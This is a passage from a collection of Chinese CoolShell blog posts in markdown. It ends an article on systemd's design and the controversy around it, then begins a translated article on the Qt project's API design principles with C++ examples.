而不是Socket来通信。比如：`NetworkManager` 就是通过 `D-Bus` 和其它服务进程通讯的，也就是说，如果一个进程需要知道网络的状态，那么就必需要通过 `D-Bus` 通信。`D-Bus` 支持 “Bus Activation”的特性。也就是说，A要通过 `D-Bus` 服务和B通讯，但是B没有启动，那么 `D-Bus` 可以把B起来，在B启动的过程中，`D-Bus` 帮你缓存数据。`systemd` 可以帮你利用好这个特性来并行启动 A 和 B。\n\n\n \n\n\n* **文件系统依赖**。系统启动过程中，文件系统相关的活动是最耗时的，比如挂载文件系统，对文件系统进行磁盘检查（fsck），磁盘配额检查等都是非常耗时的操作。在等待这些工作完成的同时，系统处于空闲状态。那些想使用文件系统的服务似乎必须等待文件系统初始化完成才可以启动。`systemd` 参考了 `autofs` 的设计思路，使得依赖文件系统的服务和文件系统本身初始化两者可以并发工作。`autofs` 可以监测到某个文件系统挂载点真正被访问到的时候才触发挂载操作，这是通过内核 `automounter` 模块的支持而实现的。比如一个 `open()` 系统调用作用在某个文件系统上的时候，而这个文件系统尚未执行挂载，此时 `open()` 调用被内核挂起等待，等到挂载完成后，控制权返回给 `open()` 系统调用，并正常打开文件。这个过程和 `autofs` 是相似的。\n\n\n \n\n\n下图来自 Lennart 的演讲里的一页PPT，展示了不同 init 系统的启动。\n\n\n![](../wp-content/uploads/2017/07/boot.png)\n\n\n除此之外，systemd 还在启动时管理好了一些下面的事。\n\n\n用C语言取代传统的脚本式的启动。前面说过，`sysvint` 用 `/etc/rcX.d` 下的各种脚本启动。然而这些脚本中需要使用 `awk`, `sed`, `grep`, `find`, `xargs` 等等这些操作系统的命令，这些命令需要生成进程，生成进程的开销很大，关键是生成完这些进程后，这个进程就干了点屁大的事就退了。换句话说就是，我操作系统干了那么多事为你拉个进程起来，结果你就把个字串转成小写就退了，把我操作系统当什么了？\n\n\n在正常的一个 `sysvinit` 的脚本里，可能会有成百上千个这样的命令。所以，慢死。因此，`systemd` 全面用 C 语言全部取代了。一般来说，`sysvinit` 下，操作系统启动完成后，用 `echo $$` 可以看到，pid 被分配到了上千的样子，而 `systemd` 的系统只是上百。\n\n\n另外，systemd 是真正一个可以管住服务进程的——可以跟踪上服务进程所fork/exec出来的所有进程。\n\n\n* 我们知道， 传统 Unix/Linux 的 Daemon 服务进程的最佳实践基本上是这个样子的 （具体过程可参看这篇文章“[SysV Daemon](http://0pointer.de/public/systemd-man/daemon.html#SysV%20Daemons)”）——\n\t1. 进程启动时，关闭所有的打开的文件描述符（除了标准描述符0,1,2），然后重置所有的信号处理。\n\t2. 调用 `fork()` 创建子进程，在子进程中 `setsid()`，然后父进程退出（为了后台执行）\n\t3. 在子进程中，再调用一次 `fork()`，创建孙子进程，确定没有交互终端。然后子进程退出。\n\t4. 在孙子进程中，把标准输入标准输出标准错误都连到 `/dev/null` 上，还要创建 pid 文件，日志文件，处理相关信号 ……\n\t5. 最后才是真正开始提供服务。\n\n\n \n\n\n* 在上面的这个过程中，服务进程除了两次 `fork` 外还会 `fork` 出很多很多的子进程（比如说一些Web服务进程，会根据用户的请求链接来 `fork` 子进程），这个进程树是相当难以管理的，因为，一旦父进程退出来了，子进程就会被挂到 PID 1下，所以，基本上来说，你无法通过服务进程自已给定的一个pid文件来找到所有的相关进程（这个对开发者的要求太高了），所以，在传统的方式下用脚本启停服务是相当相当的 Buggy 的，因为无法做对所有的服务生出来的子子孙孙做到监控。\n\n\n \n\n\n* 为了解决这个问题，`upstart` 通过变态的 `strace` 来跟踪进程中的 `fork()` 和 `exec()` 或 `exit()` 等相关的系统调用。这种方法相当笨拙。 `systemd` 使用了一个非常有意思的玩法来 tracking 服务进程生出来的所有进程，那就是用 `cgroup` （我在 [Docker 的基础技术“cgroup篇”](https://coolshell.cn/articles/17049.html)中讲过这个东西）。cgroup主要是用来管理进程组资源配额的事，所以，无论服务如何启动新的子进程，所有的这些相关进程都会同属于一个 `cgroup`，所以，`systemd` 只需要简单的去遍历一下相应的 `cgroup` 的那个虚文件系统目录下的文件，就可以正确的找到所有的相关进程，并将他们一一停止。\n\n\n \n\n\n另外，`systemd` 简化了整个 daemon 开发的过程：\n\n\n* 不需要两次 `fork()`，只需要实现服务本身的主逻辑就可以了。\n* 不需要 `setsid()`，`systemd` 会帮你干\n* 不需要维护 `pid文件`，`systemd` 会帮处理。\n* 不需要管理日志文件或是使用`syslog`，或是处理`HUP`的日志reload信号。把日志打到 `stderr` 上，`systemd` 帮你管理。\n* 处理 `SIGTERM` 信号，这个信号就是正确退出当前服务，不要做其他的事。\n* ……\n\n\n除此之外，`systemd` 还能——\n\n\n* 自动检测启动的服务间有没有环形依赖。\n* 内建 autofs 自动挂载管理功能。\n* 日志服务。`systemd` 改造了传统的 syslog 的问题，采用二进制格式保存日志，日志索引更快。\n* 快照和恢复。对当前的系统运行的服务集合做快照，并可以恢复。\n* ……\n\n\n还有好多好多，他接管很多很多东西，于是就让很多人不爽了，因为他在干了很多本不属于 PID 1 的事。\n\n\n#### Systemd 争论和八卦\n\n\n于是 `systemd` 这个东西成了可能是有史以来口水战最多的一个开源软件了。`systemd` 饱受各种争议，最大的争议就是他破坏了 Unix 的设计哲学（相关的哲学可以读一下《[Unix编程艺术](https://book.douban.com/subject/1467587/)》），干了一个大而全而且相当复杂的东西。当然，Lennart 并不同意这样的说法，他后来又写一篇blog “[The Biggest Myths](http://0pointer.de/blog/projects/the-biggest-myths.html)”来解释 `systemd` 并不是这样的，大家可以前往一读。\n\n\n这个争议大到什么样子呢？2014 年，Debian Linux 因为想准备使用 `systemd` 来作为标准的 init 守护进程来替换 `sysvinit` 。而围绕这个事的争论达到了空前的热度，争论中充满着仇恨，`systemd` 的支持者和反对者都在互相辱骂，导致当时 Debian 阵营开始分裂。还有人给 Lennart 发了死亡威胁的邮件，用比特币雇凶买杀手，扬言要取他的性命，在Youbute上传了侮辱他的歌曲，在IRC和各种社交渠道上给他发下流和侮辱性的消息。这已经不是争议了，而是一种不折不扣的仇恨！\n\n\n![](../wp-content/uploads/2017/07/systemd_shewantsit.jpg)\n\n\n于是，Lennart 在 [Google Plus 上发了贴子](https://plus.google.com/+LennartPoetteringTheOneAndOnly/posts/J2TZrTvu7vd)，批评整个 Linux 开源社区和 Linus 本人。他大意说，\n\n\n\n> 这个社区太病态了，全是 ass holes，你们不停用各种手段在各种地方用不同的语言和方式来侮辱和漫骂我。我还是一个年轻人，我从来没有经历过这样的场面，但是今天我已经对这种场面很熟悉了。我有时候说话可能不准确，但是我不会像他样那样说出那样的话，我也没有被这些事影响，因为我脸皮够厚，所以，为什么我可以在如何大的反对声面前让 `systemd` 成功，但是，你们 Linux 社区太可怕了。你们里面的有精神病的人太多了。另外，对于Linus Torvalds，你是这个社区的 Role Model，但可惜你是一个 Bad Role Model，你在社区里的刻薄和侮辱性的言行，基本从一定程度上鼓励了其它人跟你一样，当然，并不只是你一个人的问题，而是在你周围聚集了一群和你一样的这样干的人。送你一句话—— A fish rots from the head down ！一条鱼是从头往下腐烂的……\n> \n> \n\n\n这篇契文很长，喜欢八卦的同学可以前往一读。感受一下 Lennart 当时的心态（我觉得能算上是非常平稳了）。\n\n\nLinus也在被一媒体问起 `systemd` 这个事来（参看“[Torvalds says he has no strong opinions on systemd](https://www.itwire.com/business-it-news/open-source/65402-torvalds-says-he-has-no-strong-opinions-on-systemd)”），Linus在采访里说，\n\n\n\n> 我对 `systemd` 和 Lennart 的贴子没有什么强烈的想法。虽然，传统的 Unix 设计哲学—— “Do one thing and Do it well”，很不错，而且我们大多数人也实践了这么多年，但是这并不代表所有的真实世界。在历史上，也不只有`systemd` 这么干过。但是，我个人还是 old-fashioned 的人，至少我喜欢文本式的日志，而不是二进制的日志。但是 `systemd` 没有必要一定要有这样的品味。哦，我说细节了……\n> \n> \n\n\n今天，`systemd` 占据了几乎所有的主流的 Linux 发行版的默认配置，包括：Arch Linux、CentOS、CoreOS、Debian、Fedora、Megeia、OpenSUSE、RHEL、SUSE企业版和 Ubuntu。而且，对于 CentOS, CoreOS, Fedora, RHEL, SUSE这些发行版来说，不能没有 `systemd`。（Ubuntu 还有一个不错的wiki – [Systemd for Upstart Users](https://wiki.ubuntu.com/SystemdForUpstartUsers) 阐述了如何在两者间切换）\n\n\n \n\n\n#### 其它\n\n\n还记得在《[缓存更新的套路](https://coolshell.cn/articles/17416.html)》一文中，我说过，**如果你要做好架构，首先你得把计算机体系结构以及很多老古董的基础技术吃透了**。因为里面会有很多可以借鉴和相通的东西。那么，你是否从这篇文章里看到了一些有分布式架构相似的东西？\n\n\n比如：从 `sysvinit` 到 `upstart` 再到 `systemd`，像不像是服务治理？Linux系统下的这些服务进程，是不是很像分布式架构中的微服务？还有那个D-Bus，是不是很像SOA里的ESB？而 init 系统是不是很像一个控制系统？甚至像一个服务编排（Service Orchestration）系统？\n\n\n分布式系统中的服务之间也有很多依赖，所以，在启动一个架构的时候，如果我们可以做到像 systemd 那样并行启动的话，那么是不是就像是一个微服务的玩法了？\n\n\n嗯，你会发现，技术上的很多东西是相通的，也是互相有对方的影子，所以，其实技术并不多。关键是我们学在了表面还是看到了本质。\n\n\n \n\n\n#### 延伸阅读\n\n\n* Lennert 的博文：[Rethinking PID 1](http://0pointer.de/blog/projects/systemd.html)\n* Lennert 的演讲：[systemd, beyond init](https://www.youtube.com/watch?v=TyMLi8QF6sw) （ [PPT](http://www.linux-kongress.org/2010/slides/systemd-poettering.pdf) ）\n* [Wikipedia：Systemd](https://en.wikipedia.org/wiki/Systemd)\n* LinuxVoice：[Lennart Poettering 专访](https://www.linuxvoice.com/interview-lennart-poettering/)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](http://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](http://coolshell.cn/articles/12103.html)\n* [![Docker基础技术：AUFS](../wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png)](http://coolshell.cn/articles/17061.html)[Docker基础技术：AUFS](http://coolshell.cn/articles/17061.html)\n* [![Docker基础技术：Linux Namespace（上）](../wp-content/uploads/2015/04/isolation-150x150.jpg)](http://coolshell.cn/articles/17010.html)[Docker基础技术：Linux Namespace（上）](http://coolshell.cn/articles/17010.html)\n* [![Unix传奇(上篇)](../wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg)](http://coolshell.cn/articles/2322.html)[Unix传奇(上篇)](http://coolshell.cn/articles/2322.html)\n* [![Docker基础技术：Linux Namespace（下）](../wp-content/uploads/2015/04/jail_cell-150x150.jpg)](http://coolshell.cn/articles/17029.html)[Docker基础技术：Linux Namespace（下）](http://coolshell.cn/articles/17029.html)\n* [![Docker基础技术：Linux CGroup](../wp-content/uploads/2015/04/filter-150x150.png)](http://coolshell.cn/articles/17049.html)[Docker基础技术：Linux CGroup](http://coolshell.cn/articles/17049.html)\nThe post [Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2017-7-25 API设计原则 – Qt官网的设计实践总结.md",
    "content": "---\nlayout: post\ntitle: API设计原则 – Qt官网的设计实践总结\ndate: 2017/7/25/ 6:16:30\nupdated: 2017/7/25/ 6:16:30\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢好友 [@李鼎](http://www.weibo.com/oldratlee) 翻译此文）**\n\n\n原文链接：[API Design Principles](http://qt-project.org/wiki/API-Design-Principles) – [Qt Wiki](http://wiki.qt.io/)  \n\n基于[Gary的影响力](http://blog.csdn.net/gaoyingju)上 *Gary Gao* 的译文稿：[C++的API设计指导](http://blog.csdn.net/gaoyingju/article/details/8245108)\n\n\n译序\n--\n\n\n![](../wp-content/uploads/2017/07/api-design-300x278.jpg)\n\n\nQt的设计水准在业界很有口碑，一致、易于掌握和强大的API是Qt最著名的优点之一。此文既是Qt官网上的API设计指导准则，也是Qt在API设计上的实践总结。虽然Qt用的是C++，但其中设计原则和思考是具有普适性的（如果你对C++还不精通，可以忽略与C++强相关或是过于细节的部分，仍然可以学习或梳理关于API设计最有价值的内容）。整个篇幅中有很多示例，是关于API设计一篇难得的好文章。\n\n\n需要注意的是，这篇Wiki有一些内容并不完整，所以，可能会有一些阅读上的问题，我们对此做了一些相关的注释。\n\n\nPS：翻译中肯定会有不足和不对之处，欢迎评论&交流；另译文源码在[GitHub的这个仓库](https://github.com/oldratlee/translations/tree/master/api-design-principles-from-qt)中，可以[提交Issue](https://github.com/oldratlee/translations/issues)/[Fork后提交代码](https://github.com/oldratlee/translations/fork)来建议/指正。\n\n\nAPI设计原则\n=======\n\n\n一致、易于掌握和强大的API是Qt最著名的优点之一。此文总结了我们在设计Qt风格API的过程中所积累的诀窍（know-how）。其中许多是通用准则；而其他的则更偏向于约定，遵循这些约定主要是为了与已有的API保持一致。\n\n\n虽然这些准则主要用于对外的API（public API），但在设计对内的API（private API）时也推荐遵循相同的技巧（techniques），作为开发者之间协作的礼仪（courtesy）。\n\n\n\n如有兴趣也可以读一下 *Jasmin Blanchette* 的[Little Manual of API Design (PDF)](http://www4.in.tum.de/~blanchet/api-design.pdf) 或是本文的前身 *Matthias Ettrich* 的[Designing Qt-Style C++ APIs](https://doc.qt.io/archives/qq/qq13-apis.html)。\n\n\n1. 好API的6个特质\n============\n\n\nAPI之于程序员就如同图形界面之于普通用户（end-user）。API中的『P』实际上指的是『程序员』（Programmer），而不是『程序』（Program），强调的是API是给程序员使用的这一事实。\n\n\n在第13期[Qt季刊](http://doc.qt.io/archives/qq/)，*Matthias* 的[关于API设计的文章](https://doc.qt.io/archives/qq/qq13-apis.html)中提出了观点：API应该极简（minimal）且完备（complete）、语义清晰简单（have clear and simple semantics）、符合直觉（be intuitive）、易于记忆（be easy to memorize）和引导API使用者写出可读代码（lead to readable code）。\n\n\n1.1 极简\n------\n\n\n极简的API是指每个class的public成员尽可能少，public的class也尽可能少。这样的API更易理解、记忆、调试和变更。\n\n\n1.2 完备\n------\n\n\n完备的API是指期望有的功能都包含了。这点会和保持API极简有些冲突。如果一个成员函数放在错误的类中，那么这个函数的潜在用户就会找不到，这也是违反完备性的。\n\n\n1.3 语义清晰简单\n----------\n\n\n就像其他的设计一样，我们应该遵守最少意外原则（the principle of least surprise）。好的API应该可以让常见的事完成的更简单，并有可以完成不常见的事的可能性，但是却不会关注于那些不常见的事。解决的是具体问题；当没有需求时不要过度通用化解决方案。（举个例子，在Qt 3中，`QMimeSourceFactory`不应命名成`QImageLoader`并有不一样的API。）\n\n\n1.4 符合直觉\n--------\n\n\n就像计算机里的其他事物一样，API应该符合直觉。对于什么是符合直觉的什么不符合，不同经验和背景的人会有不同的看法。API符合直觉的测试方法：经验不很丰富的用户不用阅读API文档就能搞懂API，而且程序员不用了解API就能看明白使用API的代码。\n\n\n1.5 易于记忆\n--------\n\n\n为使API易于记忆，API的命名约定应该具有一致性和精确性。使用易于识别的模式和概念，并且避免用缩写。\n\n\n1.6 引导API使用者写出可读代码\n------------------\n\n\n代码只写一次，却要多次的阅读（还有调试和修改）。写出可读性好的代码有时候要花费更多的时间，但对于产品的整个生命周期来说是节省了时间的。\n\n\n最后，要记住的是，不同的用户会使用API的不同部分。尽管简单使用单个Qt类的实例应该符合直觉，但如果是要继承一个类，让用户事先看好文档是个合理的要求。\n\n\n2. 静态多态\n=======\n\n\n相似的类应该有相似的API。在继承（inheritance）合适时可以用继承达到这个效果，即运行时多态。然而多态也发生在设计阶段。例如，如果你用`QProgressBar`替换`QSlider`，或是用`QString`替换`QByteArray`，你会发现API的相似性使的替换很容易。这即是所谓的『静态多态』（static polymorphism）。\n\n\n静态多态也使记忆API和编程模式更加容易。因此，一组相关的类有相似的API有时候比每个类都有各自的一套API更好。\n\n\n一般来说，在Qt中，如果没有足够的理由要使用继承，我们更倾向于用静态多态。这样可以减少Qt public类的个数，也使刚学习Qt的用户在翻看文档时更有方向感。\n\n\n2.1 好的案例\n--------\n\n\n`QDialogButtonBox`与`QMessageBox`，在处理按钮（`addButton()`、`setStandardButtons()`等等）上有相似的API，不需要继承某个`QAbstractButtonBox`类。\n\n\n2.2 差的案例\n--------\n\n\n`QTcpSocket`与`QUdpSocket`都继承了`QAbstractSocket`，这两个类的交互行为的模式（mode of interaction）非常不同。似乎没有什么人以通用和有意义的方式用过`QAbstractSocket`指针（或者 ***能*** 以通用和有意义的方式使用`QAbstractSocket`指针）。\n\n\n2.3 值得斟酌的案例\n-----------\n\n\n`QBoxLayout`是`QHBoxLayout`与`QVBoxLayout`的父类。好处：可以在工具栏上使用`QBoxLayout`，调用`setOrientation()`使其变为水平/垂直。坏处：要多一个类，并且有可能导致用户写出这样没什么意义的代码，`((QBoxLayout *)hbox)->setOrientation(Qt::Vertical)`。\n\n\n3. 基于属性的API\n===========\n\n\n新的Qt类倾向于用『基于属性（property）的API』，例如：\n\n\n[code language=”cpp”]  \n\nQTimer timer;  \n\ntimer.setInterval(1000);  \n\ntimer.setSingleShot(true);  \n\ntimer.start();  \n\n[/code]\n\n\n这里的 ***属性*** 是指任何的概念特征（conceptual attribute），是对象状态的一部分 —— 无论它是不是`Q_PROPERTY`。在说得通的情况下，用户应该可以以任何顺序设置属性，也就是说，属性之间应该是正交的（orthogonal）。例如，上面的代码可以写成：\n\n\n[code language=”cpp”]  \n\nQTimer timer;  \n\ntimer.setSingleShot(true);  \n\ntimer.setInterval(1000);  \n\ntimer.start();  \n\n[/code]\n\n\n\n> 【译注】：正交性是指改变某个特性而不会影响到其他的特性。[《程序员修炼之道》](https://book.douban.com/subject/5387402/)中讲了关于正交性的一个直升飞机坠毁的例子，讲得深入浅出很有画面感。\n> \n> \n\n\n为了方便，也写成：\n\n\n[code language=”cpp”]  \n\ntimer.start(1000)；  \n\n[/code]\n\n\n类似地，对于`QRegExp`会是这样的代码：\n\n\n[code language=”cpp”]  \n\nQRegExp regExp;  \n\nregExp.setCaseSensitive(Qt::CaseInsensitive);  \n\nregExp.setPattern(\".\");  \n\nregExp.setPatternSyntax(Qt::WildcardSyntax);  \n\n[/code]\n\n\n为实现这种类型的API，需要借助底层对象的懒创建。例如，对于`QRegExp`的例子，在不知道模式语法（pattern syntax）的情况下，在`setPattern()`中去解释`\".\"`就为时过早了。\n\n\n属性之间常常有关联的；在这种情况下，我们必须小心处理。思考下面的问题：当前的风格（style）提供了『默认的图标尺寸』属性 vs. `QToolButton`的『`iconSize`』属性：\n\n\n[code language=”cpp”]  \n\ntoolButton->setStyle(otherStyle);  \n\ntoolButton->iconSize(); // returns the default for otherStyle  \n\ntoolButton->setIconSize(QSize(52, 52));  \n\ntoolButton->iconSize(); // returns (52, 52)  \n\ntoolButton->setStyle(yetAnotherStyle);  \n\ntoolButton->iconSize(); // returns (52, 52)  \n\n[/code]\n\n\n提醒一下，一旦设置了`iconSize`，设置就会一直保持，即使改变当前的风格。这 ***很好***。但有的时候需要能重置属性。有两种方法：\n\n\n1. 传入一个特殊值（如`QSize()`、`-1`或者`Qt::Alignment(0)`）来表示『重置』\n2. 提供一个明确的重置方法，如`resetFoo()`和`unsetFoo()`\n\n\n对于`iconSize`，使用`QSize()`（比如 `QSize(–1, -1)`）来表示『重置』就够用了。\n\n\n在某些情况下，getter方法返回的结果与所设置的值不同。例如，虽然调用了`widget->setEnabled(true)`，但如果它的父widget处于disabled状态，那么`widget->isEnabled()`仍然返回的是`false`。这样是OK的，因为一般来说就是我们想要的检查结果（父widget处于disabled状态，里面的子widget也应该变为灰的不响应用户操作，就好像子widget自身处于disabled状态一样；与此同时，因为子widget记得在自己的内心深处是enabled状态的，只是一直等待着它的父widget变为enabled）。当然诸如这些都必须在文档中妥善地说明清楚。\n\n\n4. C++相关\n========\n\n\n4.1 值 vs. 对象\n------------\n\n\n### 4.1.1 指针 vs. 引用\n\n\n指针（pointer）还是引用（reference）哪个是最好的输出参数（out-parameters）？\n\n\n[code language=”cpp”]  \n\nvoid getHsv(int \\*h, int \\*s, int \\*v) const;  \n\nvoid getHsv(int &h, int &s, int &v) const;  \n\n[/code]\n\n\n大多数C++书籍推荐尽可能使用引用，基于一个普遍的观点：引用比指针『更加安全和优雅』。与此相反，我们在开发Qt时倾向于指针，因为指针让用户代码可读性更好。比较下面例子：\n\n\n[code language=”cpp”]  \n\ncolor.getHsv(&h, &s, &v);  \n\ncolor.getHsv(h, s, v);  \n\n[/code]\n\n\n只有第一行代码清楚表达出`h`、`s`、`v`参数在函数调用中非常有可能会被修改。\n\n\n这也就是说，编译器并不喜欢『出参』，所你应该在新的API中避免使用『出参』，而是返回一个结构体，如下所示：\n\n\n[code language=”cpp”]  \n\nstruct Hsv { int hue, saturation, value };  \n\nHsv getHsv() const;  \n\n[/code]\n\n\n\n> 【译注】：函数的『入参』和『出参』的混用会导致 API 接口语义的混乱，所以，使用指针，在调用的时候，实参需要加上“&”，这样在代码阅读的时候，可以看到是一个『出参』，有利于代码阅读。（但是这样做，在函数内就需要判断指针是否为空的情况，因为引用是不需要判断的，所以，这是一种 trade-off）\n> \n> \n> 另外，如果这样的参数过多的话，最好使用一个结构体来把数据打包，一方面，为一组返回值取个名字，另一方面，这样有利用接口的简单。\n> \n> \n\n\n### 4.1.2 按常量引用传参 vs. 按值传参\n\n\n如果类型大于16字节，按常量引用传参。\n\n\n如果类型有重型的（non-trivial）拷贝构造函数（copy-constructor）或是重型的析构函数（destructor），按常量引用传参以避免执行这些函数。\n\n\n对于其它的类型通常应该按值传参。\n\n\n示例：\n\n\n[code language=”cpp”]  \n\nvoid setAge(int age);  \n\nvoid setCategory(QChar cat);  \n\nvoid setName(QLatin1String name);\n\n\n// const-ref is much faster than running copy-constructor and destructor  \n\nvoid setAlarm(const QSharedPointer<Alarm> &alarm);\n\n\n// QDate, QTime, QPoint, QPointF, QSize, QSizeF, QRect  \n\n// are good examples of other classes you should pass by value.  \n\n[/code]\n\n\n\n> 【译注】：这是传引用和传值的差别了，因为传值会有对像拷贝，传引用则不会。所以，如果对像的构造比较重的话（换句话说，就是对像里的成员变量需要的内存比较大），这就会影响很多性能。所以，为了提高性能，最好是传引用。但是如果传入引用的话，会导致这个对象可能会被改变。所以传入const reference。\n> \n> \n\n\n4.2 虚函数\n-------\n\n\n在C++中，当类的成员函数声明为virtual，主要是为了通过在子类重载此函数能够定制函数的行为。将函数声明为virtual的目的是为了让对这个函数已有的调用变成执行实际实例的代码路径。对于没有在类外部调用的函数声明成virtual，你应该事先非常慎重地思考过。\n\n\n[code language=”cpp”]  \n\n// QTextEdit in Qt 3: member functions that have no reason for being virtual  \n\nvirtual void resetFormat();  \n\nvirtual void setUndoDepth( int d );  \n\nvirtual void setFormat( QTextFormat \\*f, int flags );  \n\nvirtual void ensureCursorVisible();  \n\nvirtual void placeCursor( const QPoint &pos;, QTextCursor \\*\\*c = 0 );  \n\nvirtual void moveCursor( CursorAction action, bool select );  \n\nvirtual void doKeyboardAction( KeyboardAction action );  \n\nvirtual void removeSelectedText( int selNum = 0 );  \n\nvirtual void removeSelection( int selNum = 0 );  \n\nvirtual void setCurrentFont( const QFont &f );  \n\nvirtual void setOverwriteMode( bool b ) { overWrite = b; }  \n\n[/code]\n\n\n`QTextEdit`从Qt 3移植到Qt 4的时候，几乎所有的虚函数都被移除了。有趣的是（但在预料之中），并没有人对此有大的抱怨，为什么？因为Qt 3没用到`QTextEdit`的多态行为 —— 只有你会；简单地说，没有理由去继承`QTextEdit`并重写这些函数，除非你自己调用了这些方法。如果在Qt在外部你的应用程序你需要多态，你可以自己添加多态。\n\n\n\n> 【译注】：『多态』的目的只不过是为了实践 —— 『依赖于接口而不是实现』，也就是说，接口是代码抽像的一个非常重要的方式（在Java/Go中都有专门的接口声明语法）。所以，如果没有接口抽像，使用『多态』的意义也就不大了，因为也就没有必要使用『虚函数』了。\n> \n> \n\n\n### 4.2.1 避免虚函数\n\n\n在Qt中，我们有很多理由尽量减少虚函数的数量。每一次对虚函数的调用会在函数调用链路中插入一个未掌控的节点（某种程度上使结果更无法预测），使得bug修复变得更复杂。用户在重写的虚函数中可以做很多疯狂的事：\n\n\n* 发送事件\n* 发送信号\n* 重新进入事件循环（例如，通过打开一个模态文件对话框）\n* 删除对象（即触发『`delete this`』）\n\n\n还有其他很多原因要避免过度使用虚函数：\n\n\n* 添加、移动或是删除虚函数都带来二进制兼容问题（binary compatibility/BC）\n* 重载虚函数并不容易\n* 编译器几乎不能优化或内联（inline）对虚函数的调用\n* 虚函数调用需要查找虚函数表（v-table），这比普通函数调用慢了2到3倍\n* 虚函数使得类很难按值拷贝（尽管也可以按值拷贝，但是非常混乱并且不建议这样做）\n\n\n经验告诉我们，没有虚函数的类一般bug更少、维护成本也更低。\n\n\n一般的经验法则是，除非我们以这个类作为工具集提供而且有很多用户来调用某个类的虚函数，否则这个函数九成不应该设计成虚函数。\n\n\n\n> 【译注】：\n> \n> \n> 1. 使用虚函数时，你需要对编译器的内部行为非常清楚，否则，你会在使用虚函数时，觉得有好些『古怪』的问题发生。比如在创建数组对象的时候。\n> 2. 在C++中，会有一个基础类，这个基础类中已经实现好了很多功能，然后把其中的一些函数放给子类去修改和实现。这种方法在父类和子类都是一组开发人员维护时没有什么问题，但是如果这是两组开发人员，这就会带来很多问题了，就像Qt这样，子类完全无法控制，全世界的开发人员想干什么就干什么。所以，子类的代码和父类的代码在兼容上就会出现很多很多问题。所以，还是上面所说，其实，虚函数应该声明在接口的语义里（这就是设计模式的两个宗旨——依赖于接口，而不是实现；钟爱于组合，而不是继承。也是为什么Java和Go语言使用interface关键字的原因，C++在多态的语义上非常容易滥用）\n> \n> \n> \n\n\n### 4.2.2 虚函数 vs. 拷贝\n\n\n多态对象（polymorphic objects）和值类型的类（value-type classes）两者很难协作好。\n\n\n包含虚函数的类必须把析构函数声明为虚函数，以防止父类析构时没有清理子类的数据，导致内存泄漏。\n\n\n如果要使一个类能够拷贝、赋值或按值比较，往往需要拷贝构造函数、赋值操作符（`operator =`）和相等操作符（`operator ==`）。\n\n\n[code language=”cpp”]  \n\nclass CopyClass {  \n\npublic:  \n\n CopyClass();  \n\n CopyClass(const CopyClass &other);  \n\n ~CopyClass();  \n\n CopyClass &operator =(const CopyClass &other);  \n\n bool operator ==(const CopyClass &other) const;  \n\n bool operator !=(const CopyClass &other) const;\n\n\n virtual void setValue(int v);  \n\n};  \n\n[/code]\n\n\n如果继承`CopyClass`这个类，预料之外的事就已经在代码时酝酿了。一般情况下，如果没有虚成员函数和虚析构函数，就不能创建出可以多态的子类。然而，如果存在虚成员函数和虚析构函数，这突然变成了要有子类去继承的理由，而且开始变得复杂了。***起初认为只要简单声明上虚操作符重载函数（virtual operators）。*** 但其实是走上了一条混乱和毁灭之路（破坏了代码的可读性）。看看下面的这个例子：\n\n\n[code language=”cpp”]  \n\nclass OtherClass {  \n\npublic:  \n\n const CopyClass &instance() const; // 这个方法返回的是什么？可以赋值什么？  \n\n};  \n\n[/code]\n\n\n（这部份还未完成）\n\n\n\n> 【译注】：因为原文上说，这部份并没有完成，所以，我也没有搞懂原文具体也是想表达什么。不过，就标题而言，原文是想说，在多态的情况下拷贝对象所带来的问题？？\n> \n> \n\n\n4.3 关于const\n-----------\n\n\n***C++的关键词const表明了内容不会改变或是没有副作用。可以应用于简单的值、指针及指针所指的内容，也可以作为一个特别的属性应用于类的成员函数上，表示成员函数不能修改对象的状态。***\n\n\n然而，const本身并没有提供太大的价值 —— 很多编程语言甚至没有类似const的关键词，但是却并没有因此产生问题。实际上，如果你不用函数重载，并在C++源代码用搜索并删除所有的const，几乎总能编译通过并且正常运行。尽量让使用的const保持实用有效，这点很重要。\n\n\n让我们看一下在Qt的API设计中与const相关的场景。\n\n\n### 4.3.1 输入参数：const指针\n\n\n有输入指针参数的const成员函数，几乎总是const指针参数。\n\n\n如果函数声明为const，意味着既没有副作用，也不会改变对象的可见状态。那为什么它需要一个没有const限定的输入参数呢？记住const类型的函数通常被其他const类型的函数调用，接收到的一般都是const指针（只要不主动const\\_cast，我们推荐尽量避免使用const\\_cast）\n\n\n以前：\n\n\n[code language=”cpp”]  \n\nbool QWidget::isVisibleTo(QWidget \\*ancestor) const;  \n\nbool QWidget::isEnabledTo(QWidget \\*ancestor) const;  \n\nQPoint QWidget::mapFrom(QWidget \\*ancestor, const QPoint &pos) const;  \n\n[/code]\n\n\n`QWidget`声明了许多非const指针输入参数的const成员函数。注意，这些函数可以修改传入的参数，不能修改对象自己。使用这样的函数常常要借助const\\_cast转换。如果是const指针输入参数，就可以避免这样的转换了。\n\n\n之后：\n\n\n[code language=”cpp”]  \n\nbool QWidget::isVisibleTo(const QWidget \\*ancestor) const;  \n\nbool QWidget::isEnabledTo(const QWidget \\*ancestor) const;  \n\nQPoint QWidget::mapFrom(const QWidget \\*ancestor, const QPoint &pos) const;  \n\n[/code]\n\n\n注意，我们在`QGraphicsItem`中对此做了修正，但是`QWidget`要等到Qt 5:\n\n\n[code language=”cpp”]  \n\nbool isVisibleTo(const QGraphicsItem \\*parent) const;  \n\nQPointF mapFromItem (const QGraphicsItem \\*item, const QPointF &point) const;  \n\n[/code]\n\n\n### 4.3.2 返回值：const值\n\n\n调用函数返回的非引用类型的结果，称之为右值（R-value）。\n\n\n非类（non-class）的右值总是无cv限定类型（cv-unqualified type）。虽然从语法上讲，加上const也可以，但是没什么意义，因为鉴于访问权限这些值是不能改变的。多数现代编译器在编译这样的代码时会提示警告信息。\n\n\n\n> 【译注】：cv-qualified的类型（与cv-unqualified相反）是由const或者volatile或者volatile const限定的类型。详见[cv (const and volatile) type qualifiers – 